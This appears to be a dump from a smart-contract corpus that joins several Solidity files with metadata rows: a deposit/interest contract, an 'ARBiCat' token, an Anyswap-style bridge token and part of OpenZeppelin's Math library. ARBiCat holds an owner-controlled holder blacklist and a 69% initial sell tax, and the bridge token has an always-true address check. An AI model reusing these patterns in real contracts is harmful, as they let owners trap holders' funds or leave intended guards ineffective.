function isActive(address depositorAddress) public view returns (bool) {
Deposit[] storage deposits = depositors[depositorAddress].deposits;
Deposit storage dp = deposits[deposits.length-1];
return !dp.isClosed;
}
function getCurrentDepositLimit() public view returns (uint){
uint day =now.div(DAY);
if(day>depositLimit.today){
return depositLimit.tomorrowLimit;
}
return depositLimit.currentLimit;
}
function getDepositLimit() public view returns (uint,uint){
uint currentLimit = getCurrentDepositLimit();
uint tomorrowLimitExpected ;
if(currentLimit > depositLimit.todayLimit){
tomorrowLimitExpected = currentLimit;
}else{
tomorrowLimitExpected = depositLimit.todayLimit;
}
tomorrowLimitExpected = tomorrowLimitExpected.mul(110).div(100);
if(tomorrowLimitExpected < DAY_DEPOSIT_MIN_LIMIT)tomorrowLimitExpected = DAY_DEPOSIT_MIN_LIMIT;
return (currentLimit,tomorrowLimitExpected);
}
function getContractBalance() public view returns (uint){
return address(this).balance;
}
function getGeneralStatistics()public view returns (uint,uint,uint,uint,uint,uint,uint){
return (getCurrentDepositLimit() , getContractBalanceInterestRate() , getContractBalance() , deposited , withdrawn , bonus, depositorNumber);
}
function updateDepositLimit() internal{
uint day =now.div(DAY);
if(day>depositLimit.today){
depositLimit.today = day;
//110%DAY_DEPOSIT_MAX_LIMITDAY_DEPOSIT_MAX_LIMIT
uint tomorrowLimit = depositLimit.todayLimit.sub(depositLimit.currentLimit).mul(110).div(100);
if(tomorrowLimit<DAY_DEPOSIT_MIN_LIMIT) tomorrowLimit = DAY_DEPOSIT_MIN_LIMIT;
// if(tomorrowLimit>DAY_DEPOSIT_MAX_LIMIT) tomorrowLimit = DAY_DEPOSIT_MAX_LIMIT;
depositLimit.todayLimit = depositLimit.tomorrowLimit;
depositLimit.currentLimit = depositLimit.todayLimit;
depositLimit.tomorrowLimit = tomorrowLimit;
}
}
function calculateInterest(address depositorAddress,uint deadline) internal view returns (uint){
Depositor storage depositor = depositors[depositorAddress];
uint interest;
uint __contract_balance_interest_rate = getContractBalanceInterestRate();
Deposit[] storage deposits = depositor.deposits;
for(uint i = 0 ; i < deposits.length ; i++){
if(!deposits[i].isClosed){
Deposit storage dp = deposits[i];
//
uint __base_interest_rate = calculateBaseInterestRate(dp,deadline);
if(__base_interest_rate!=0){
uint currentInterest = calculateDepositInterest(dp,__base_interest_rate,__contract_balance_interest_rate);
interest = interest.add(currentInterest); //
}
}
}
return interest;
}
function calculateDepositInterest(Deposit memory dp, uint __interest_rate) internal pure returns (uint){
uint currentInterest;
if(dp.withdrawn>=dp.amount){
currentInterest = dp.amount.mul(__interest_rate.div(2)).div(__PER10000);
}else{
currentInterest = dp.amount.mul(__interest_rate).div(__PER10000);
uint sum = currentInterest.add(dp.withdrawn);
if(sum > dp.amount){
uint part1 = dp.amount.sub(dp.withdrawn);
uint part2 = sum.sub(dp.amount).div(2);
currentInterest = part1.add(part2).div(__PER10000);
}
}
uint maxIncrement = dp.maxInterest.sub(dp.withdrawn);
if(currentInterest > maxIncrement) currentInterest = maxIncrement;
return currentInterest;
}
function calculateDepositInterest(Deposit memory dp,uint __base_interest_rate, uint __contract_balance_interest_rate) internal pure returns (uint){
return calculateDepositInterest(dp,calculateDepositInterestRate(dp.depositType,__base_interest_rate,__contract_balance_interest_rate));
}
function calculateDepositInterestRate(DepositType t,uint __base_interest_rate, uint __contract_balance_interest_rate) internal pure returns (uint){
if(__base_interest_rate==0)return 0;
uint __interest_rate = __base_interest_rate.add(__contract_balance_interest_rate);
if(__interest_rate > __MAX_INTEREST_RATE) __interest_rate = __MAX_INTEREST_RATE;
if(t==DepositType.MINOR) return __interest_rate.div(2);
return __interest_rate;
}
function calculateBaseInterestRate(Deposit memory dp,uint deadline) internal pure returns (uint){
uint __base_interest_rate; //
uint start = dp.lastWithdrawTime;
if(start==0){
start = dp.startTime;
}
uint peroids = deadline.sub(start).div(INTEREST_BEARING_PERIOD);
__base_interest_rate = peroids > 0 ? peroids.sub(1).mul(__INTEREST_RATE_STEP).add(100) : 0;
if(__base_interest_rate > __MAX_BASE_INTEREST_RATE) __base_interest_rate = __MAX_BASE_INTEREST_RATE;
return __base_interest_rate;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 300,442 | 552 |
c7341406ae3c9607129c0f5a6d4937e7269f36fea7461b3ca7c0c08370be859b
| 17,211 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/ae/aece0b3575f709fc495c7c0a6cd54d775b65378d_ARBiCat.sol
| 3,091 | 11,463 |
// SPDX-License-Identifier: NONE
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ARBiCat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=69;
uint256 private _finalBuyTax=6;
uint256 private _finalSellTax=9;
uint256 public _reduceBuyTaxAt=25;
uint256 public _reduceSellTaxAt=35;
uint256 private _preventSwapBefore=30;
uint256 private _buyCount=0;
uint8 private constant _decimals = 8;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"ARBiCat";
string private constant _symbol = unicode"KITTY";
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public _maxWalletSize = 30000000 * 10**_decimals;
uint256 public _taxSwapThreshold=6000000 * 10**_decimals;
uint256 public _maxTaxSwap=6000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if(to == uniswapV2Pair && from!= address(this)){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
if(tokenAmount==0){return;}
if(!tradingOpen){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
_reduceSellTaxAt=15;
_reduceBuyTaxAt=20;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function gottagofast() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
}
| 29,195 | 553 |
4acd0f2a507d6c3ab1035a93778024d3375158f31eaa7c614d24ad7cea5b46d1
| 20,544 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/29/29f2fC344D69B86f0DC215c54b800156E4E49F74_BigToken.sol
| 4,331 | 16,345 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BigToken is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
_init = false;
}
function changeVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = _vault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
isMinter[_auth] = true;
minters.push(_auth);
}
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
isMinter[_vault] = true;
minters.push(_vault);
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 310,153 | 554 |
4198e681b682c9aea82eb601f946c131e9e2e7ac874cc7b6b48192c29fda5e51
| 12,505 |
.sol
|
Solidity
| false |
536847689
|
LilBlockParty/lil-block-party
|
fcc14c4057676c13bdbe01024a9000abb1467856
|
contracts/lib/openzeppelin-contracts/contracts/utils/math/Math.sol
| 2,418 | 8,614 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// See https://cs.stackexchange.com/q/138556/92363.
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 twos = denominator & (~denominator + 1);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// is no longer required.
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator,
Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
//
// `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
//
// This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
// `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
// `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
//
uint256 result = 1 << (log2(a) >> 1);
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
